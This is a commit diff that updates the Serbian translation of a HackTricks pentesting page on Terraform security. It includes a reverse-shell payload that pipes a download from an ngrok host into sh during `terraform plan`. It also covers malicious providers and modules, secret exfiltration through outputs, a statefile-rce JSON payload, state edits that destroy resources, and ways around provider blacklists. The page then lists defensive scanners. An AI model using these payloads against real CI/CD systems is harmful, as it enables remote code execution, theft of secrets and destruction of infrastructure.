mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-03 11:25:16 -07:00
Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin
This commit is contained in:
@@ -1,16 +1,16 @@
|
||||
# Terraform Bezbednost
|
||||
# Terraform Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne Informacije
|
||||
## Osnovne informacije
|
||||
|
||||
[Iz dokumenata:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform je **alat za infrastrukturu kao kod** koji vam omogućava da definišete **resurse u oblaku i on-prem** u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim infrastrukturnim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivnim komponentama kao što su računanje, skladištenje i mrežni resursi, kao i visokolevelnim komponentama kao što su DNS unosi i SaaS funkcije.
|
||||
HashiCorp Terraform je **alat za infrastrukturu kao kod** koji vam omogućava da definišete **resurse u oblaku i lokalne resurse** u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim infrastrukturnim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivnim komponentama kao što su računarstvo, skladištenje i mrežni resursi, kao i visokolevelnim komponentama kao što su DNS unosi i SaaS funkcije.
|
||||
|
||||
#### Kako Terraform funkcioniše?
|
||||
|
||||
Terraform kreira i upravlja resursima na platformama u oblaku i drugim uslugama putem njihovih interfejsa za programiranje aplikacija (API). Provajderi omogućavaju Terraform-u da radi sa praktično bilo kojom platformom ili uslugom koja ima dostupan API.
|
||||
Terraform kreira i upravlja resursima na platformama u oblaku i drugim uslugama putem njihovih interfejsa za programiranje aplikacija (API). Provajderi omogućavaju Terraformu da radi sa praktično bilo kojom platformom ili uslugom koja ima dostupan API.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -18,21 +18,21 @@ HashiCorp i Terraform zajednica su već napisali **više od 1700 provajdera** za
|
||||
|
||||
Osnovni Terraform radni tok se sastoji od tri faze:
|
||||
|
||||
- **Pisanje:** Definišete resurse, koji mogu biti raspoređeni preko više provajdera i usluga u oblaku. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u mreži Virtual Private Cloud (VPC) sa sigurnosnim grupama i balansirnikom opterećenja.
|
||||
- **Pisanje:** Definišete resurse, koji mogu biti raspoređeni preko više provajdera i usluga u oblaku. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u mreži Virtuelne Privatne Oblasti (VPC) sa sigurnosnim grupama i balansirnikom opterećenja.
|
||||
- **Planiranje:** Terraform kreira plan izvršenja koji opisuje infrastrukturu koju će kreirati, ažurirati ili uništiti na osnovu postojeće infrastrukture i vaše konfiguracije.
|
||||
- **Primena:** Nakon odobrenja, Terraform izvršava predložene operacije u ispravnom redosledu, poštujući sve zavisnosti resursa. Na primer, ako ažurirate svojstva VPC-a i promenite broj virtuelnih mašina u tom VPC-u, Terraform će ponovo kreirati VPC pre nego što skalira virtuelne mašine.
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraform Lab
|
||||
### Terraform laboratorija
|
||||
|
||||
Samo instalirajte terraform na vašem računaru.
|
||||
|
||||
Ovde imate [vodič](https://learn.hashicorp.com/tutorials/terraform/install-cli) i ovde imate [najbolji način za preuzimanje terraforma](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE u Terraform-u
|
||||
## RCE u Terraformu: trovanje konfiguracione datoteke
|
||||
|
||||
Terraform **nema platformu koja izlaže web stranicu ili mrežnu uslugu** koju možemo enumerisati, stoga je jedini način da se kompromituje terraform **može dodati/izmeniti terraform konfiguracione datoteke**.
|
||||
Terraform **nema platformu koja izlaže veb stranicu ili mrežnu uslugu** koju možemo enumerisati, stoga je jedini način da kompromitujemo terraform **da možemo dodati/izmeniti terraform konfiguracione datoteke** ili **da možemo izmeniti terraform stanje datoteke** (vidi poglavlje ispod).
|
||||
|
||||
Međutim, terraform je **veoma osetljiva komponenta** za kompromitovanje jer će imati **privilegovan pristup** različitim lokacijama kako bi mogao pravilno da funkcioniše.
|
||||
|
||||
@@ -48,13 +48,13 @@ Ako ste u mogućnosti da kompromitujete terraform datoteku, postoje različiti n
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform plan je **najčešće korišćena komanda** u terraform-u i programeri/rešenja koja koriste terraform je stalno pozivaju, tako da je **najlakši način da dobijete RCE** da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u `terraform plan`.
|
||||
Terraform plan je **najčešće korišćena komanda** u terraformu i programeri/rešenja koja koriste terraform je stalno pozivaju, tako da je **najlakši način da dobijete RCE** da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u `terraform plan`.
|
||||
|
||||
**Korišćenje spoljnog provajdera**
|
||||
|
||||
Terraform nudi [`external` provajder](https://registry.terraform.io/providers/hashicorp/external/latest/docs) koji pruža način za interakciju između Terraforma i spoljnjih programa. Možete koristiti `external` izvor podataka za izvršavanje proizvoljnog koda tokom `plana`.
|
||||
|
||||
Umetanje u terraform konfiguracionu datoteku nešto poput sledećeg će izvršiti rev shell prilikom izvršavanja `terraform plan`:
|
||||
Umetanje u terraform konfiguracionu datoteku nešto poput sledećeg će izvršiti rev shell kada se izvrši `terraform plan`:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
@@ -75,11 +75,11 @@ version = "1.0"
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Provajder se preuzima u `init` i izvršiće maliciozni kod kada se izvrši `plan`
|
||||
Provajder se preuzima u `init` i izvršiće maliciozni kod kada se izvrši `plan`.
|
||||
|
||||
Možete pronaći primer na [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
**Korišćenje spoljnog referenciranja**
|
||||
**Korišćenje spoljnog reference**
|
||||
|
||||
Obe pomenute opcije su korisne, ali nisu baš diskretne (druga je diskretnija, ali složenija od prve). Ovaj napad možete izvesti čak i na **diskretniji način**, prateći ove sugestije:
|
||||
|
||||
@@ -89,7 +89,7 @@ module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Možete pronaći rev shell kod u [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
Možete pronaći rev shell kod na [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- U spoljnim resursima, koristite **ref** funkciju da sakrijete **terraform rev shell kod u grani** unutar repozitorijuma, nešto poput: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
@@ -122,15 +122,43 @@ output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Zloupotreba Terraform Stanja Fajlova
|
||||
## Zloupotreba Terraform State Fajlova
|
||||
|
||||
U slučaju da imate pristup za pisanje nad terraform stanja fajlovima, ali ne možete da menjate terraform kod, [**ova istraživanja**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) nude neke zanimljive opcije za iskorišćavanje fajla:
|
||||
U slučaju da imate pristup za pisanje nad terraform state fajlovima, ali ne možete da menjate terraform kod, [**ova istraživanja**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) nude neke zanimljive opcije za iskorišćavanje fajla. Čak i ako biste imali pristup za pisanje nad konfiguracionim fajlovima, korišćenje vektora state fajlova je često mnogo podlije, pošto ne ostavljate tragove u `git` istoriji.
|
||||
|
||||
### RCE u Terraform-u: trovanje konfiguracionog fajla
|
||||
|
||||
Moguće je [napraviti prilagođenog provajdera](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i jednostavno zameniti jednog od provajdera u terraform state fajlu za malicioznog ili dodati lažni resurs koji se poziva na malicioznog provajdera.
|
||||
|
||||
Provajder [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) se oslanja na istraživanje i oružava ovaj princip. Možete dodati lažni resurs i navesti proizvoljnu bash komandu koju želite da izvršite u atributu `command`. Kada se pokrene `terraform` run, ovo će biti pročitano i izvršeno u koracima `terraform plan` i `terraform apply`. U slučaju koraka `terraform apply`, `terraform` će obrisati lažni resurs iz state fajla nakon izvršavanja vaše komande, čisteći za sobom. Više informacija i potpuna demonstracija mogu se naći u [GitHub repozitorijumu koji hostuje izvorni kod za ovog provajdera](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
Da biste ga koristili direktno, jednostavno uključite sledeće na bilo kojoj poziciji u `resources` nizu i prilagodite atribute `name` i `command`:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Zatim, čim se izvrši `terraform`, vaš kod će se pokrenuti.
|
||||
|
||||
### Brisanje resursa <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
Postoje 2 načina da uništite resurse:
|
||||
Postoje 2 načina da se unište resursi:
|
||||
|
||||
1. **Umetnite resurs sa nasumičnim imenom u stanje fajla koji pokazuje na pravi resurs koji treba uništiti**
|
||||
1. **Umetnite resurs sa nasumičnim imenom u datoteku stanja koja pokazuje na pravi resurs koji treba uništiti**
|
||||
|
||||
Pošto će terraform videti da resurs ne bi trebao da postoji, uništiće ga (prateći pravi ID resursa koji je naznačen). Primer sa prethodne strane:
|
||||
```json
|
||||
@@ -152,22 +180,7 @@ Pošto će terraform videti da resurs ne bi trebao da postoji, uništiće ga (pr
|
||||
|
||||
Za EC2 instancu, izmena tipa instance je dovoljna da terraform obriše i ponovo je kreira.
|
||||
|
||||
### RCE
|
||||
|
||||
Takođe je moguće [napraviti prilagođeni provajder](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i jednostavno zameniti jednog od provajdera u terraform state datoteci za zlonamerni ili dodati prazan resurs sa zlonamernim provajderom. Primer iz originalnog istraživanja:
|
||||
```json
|
||||
"resources": [
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "scaffolding_example",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
|
||||
"instances": [
|
||||
|
||||
]
|
||||
},
|
||||
```
|
||||
### Zamena crne liste provajdera
|
||||
### Zamenite crnu listu provajdera
|
||||
|
||||
U slučaju da naiđete na situaciju gde je `hashicorp/external` stavljen na crnu listu, možete ponovo implementirati `external` provajder na sledeći način. Napomena: Koristimo fork external provajdera objavljen od strane https://registry.terraform.io/providers/nazarewk/external/latest. Takođe možete objaviti svoj fork ili ponovnu implementaciju.
|
||||
```terraform
|
||||
@@ -196,7 +209,7 @@ Snyk nudi sveobuhvatno rešenje za skeniranje Infrastructure as Code (IaC) koje
|
||||
- Skeniranje u realnom vremenu za sigurnosne ranjivosti i probleme usklađenosti.
|
||||
- Integracija sa sistemima za kontrolu verzija (GitHub, GitLab, Bitbucket).
|
||||
- Automatizovani zahtevi za ispravke.
|
||||
- Detaljni saveti za otklanjanje problema.
|
||||
- Detaljna preporuka za otklanjanje problema.
|
||||
- **Prijavite se:** Kreirajte nalog na [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
@@ -206,25 +219,25 @@ snyk iac test /path/to/terraform/code
|
||||
```
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i pakete otvorenog koda.
|
||||
**Checkov** je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i open source pakete.
|
||||
|
||||
Skenira cloud infrastrukturu obezbeđenu pomoću [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ili [OpenTofu](https://opentofu.org/) i otkriva bezbednosne i usklađenosti greške u konfiguraciji koristeći skeniranje zasnovano na grafu.
|
||||
Skeneruje cloud infrastrukturu koja je obezbeđena koristeći [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ili [OpenTofu](https://opentofu.org/) i otkriva bezbednosne i usklađenosti greške u konfiguraciji koristeći skeniranje zasnovano na grafu.
|
||||
|
||||
Izvodi [Software Composition Analysis (SCA) skeniranje](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) koje je skeniranje paketa otvorenog koda i slika za zajedničke ranjivosti i izloženosti (CVE).
|
||||
Izvodi [Software Composition Analysis (SCA) skeniranje](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) koje je skeniranje open source paketa i slika za Common Vulnerabilities and Exposures (CVEs).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` je lagan, testni okvir fokusiran na bezbednost i usklađenost protiv terraform-a koji omogućava negativne testne mogućnosti za vašu infrastrukturu kao kod.
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` je lagan, bezbednosno orijentisan test okvir za terraform koji omogućava negativno testiranje za vašu infrastrukturu kao kod.
|
||||
|
||||
- **usaglašenost:** Osigurajte da implementirani kod prati bezbednosne standarde, vaše sopstvene prilagođene standarde
|
||||
- **razvoj vođen ponašanjem:** Imamo BDD za gotovo sve, zašto ne i za IaC?
|
||||
- **prenosiv:** samo ga instalirajte iz `pip` ili ga pokrenite putem `docker`. Pogledajte [Instalacija](https://terraform-compliance.com/pages/installation/)
|
||||
- **compliance:** Osigurajte da implementirani kod prati bezbednosne standarde, vaše sopstvene prilagođene standarde
|
||||
- **behaviour driven development:** Imamo BDD za skoro sve, zašto ne i za IaC?
|
||||
- **portable:** samo ga instalirajte iz `pip` ili pokrenite putem `docker`. Pogledajte [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** validira vaš kod pre nego što bude implementiran
|
||||
- **lako za integraciju:** može se pokrenuti u vašem pipeline-u (ili u git hooks) kako bi se osiguralo da su sve implementacije validirane.
|
||||
- **razdvajanje dužnosti:** možete čuvati svoje testove u drugom repozitorijumu gde je odgovorna posebna ekipa.
|
||||
- **easy to integrate:** može se pokrenuti u vašem pipeline-u (ili u git hooks) kako bi se osiguralo da su sve implementacije validirane.
|
||||
- **segregation of duty:** možete čuvati svoje testove u različitom repozitorijumu gde je odgovorna posebna ekipa.
|
||||
|
||||
> [!NOTE]
|
||||
> Nažalost, ako kod koristi neke provajdere kojima nemate pristup, nećete moći da izvršite `terraform plan` i pokrenete ovaj alat.
|
||||
@@ -235,11 +248,11 @@ terraform-compliance -f /path/to/folder
|
||||
```
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
Iz [**dokumentacije**](https://github.com/aquasecurity/tfsec): tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije.
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije.
|
||||
|
||||
- ☁️ Proverava pogrešne konfiguracije kod svih glavnih (i nekih manjih) provajdera u oblaku
|
||||
- ⛔ Stotine ugrađenih pravila
|
||||
- 🪆 Skener modula (lokalnih i udaljenih)
|
||||
- 🪆 Skenira module (lokalne i udaljene)
|
||||
- ➕ Evaluira HCL izraze kao i literalne vrednosti
|
||||
- ↪️ Evaluira Terraform funkcije npr. `concat()`
|
||||
- 🔗 Evaluira odnose između Terraform resursa
|
||||
@@ -247,28 +260,28 @@ Iz [**dokumentacije**](https://github.com/aquasecurity/tfsec): tfsec koristi sta
|
||||
- 🙅 Primena (i obogaćivanje) korisnički definisanih Rego politika
|
||||
- 📃 Podržava više formata izlaza: divno (podrazumevano), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
|
||||
- 🛠️ Konfigurisanje (putem CLI zastavica i/ili konfiguracione datoteke)
|
||||
- ⚡ Veoma brzo, sposobno za brzo skeniranje ogromnih repozitorijuma
|
||||
- ⚡ Veoma brzo, sposobno da brzo skenira ogromne repozitorijume
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Pronađite sigurnosne ranjivosti, probleme usklađenosti i greške u konfiguraciji infrastrukture rano u razvoju vaše infrastrukture kao koda uz **KICS** od Checkmarx-a.
|
||||
Pronađite sigurnosne ranjivosti, probleme usklađenosti i greške u konfiguraciji infrastrukture rano u razvoju vaše infrastrukture kao koda uz **KICS** od Checkmarx.
|
||||
|
||||
**KICS** označava **K**eeping **I**nfrastructure as **C**ode **S**ecure, otvorenog je koda i neophodan je za svaki projekat zasnovan na oblaku.
|
||||
**KICS** označava **K**eeping **I**nfrastructure as **C**ode **S**ecure, otvorenog je koda i neophodan je za svaki cloud native projekat.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Iz [**dokumentacije**](https://github.com/tenable/terrascan): Terrascan je statički analizator koda za infrastrukturu kao kod. Terrascan vam omogućava da:
|
||||
Iz [**dokumentacije**](https://github.com/tenable/terrascan): Terrascan je statički analizator koda za infrastrukturu kao kod. Terrascan vam omogućava:
|
||||
|
||||
- Besprekorno skenirate infrastrukturu kao kod za pogrešne konfiguracije.
|
||||
- Pratite obezbeđenu cloud infrastrukturu za promene konfiguracije koje uvode promene u posturi, i omogućava vraćanje na sigurnu posturu.
|
||||
- Otkrivate sigurnosne ranjivosti i kršenja usklađenosti.
|
||||
- Ublažavate rizike pre nego što obezbedite cloud native infrastrukturu.
|
||||
- Nudi fleksibilnost da se pokreće lokalno ili integriše sa vašim CI\CD.
|
||||
- Besprekorno skeniranje infrastrukture kao koda za pogrešne konfiguracije.
|
||||
- Praćenje obezbeđene cloud infrastrukture za promene konfiguracije koje uvode promene u posturi, i omogućava vraćanje na sigurnu posturu.
|
||||
- Otkrivanje sigurnosnih ranjivosti i kršenja usklađenosti.
|
||||
- Ublažavanje rizika pre obezbeđivanja cloud native infrastrukture.
|
||||
- Nudi fleksibilnost za lokalno pokretanje ili integraciju sa vašim CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
@@ -278,5 +291,6 @@ brew install terrascan
|
||||
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
||||
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user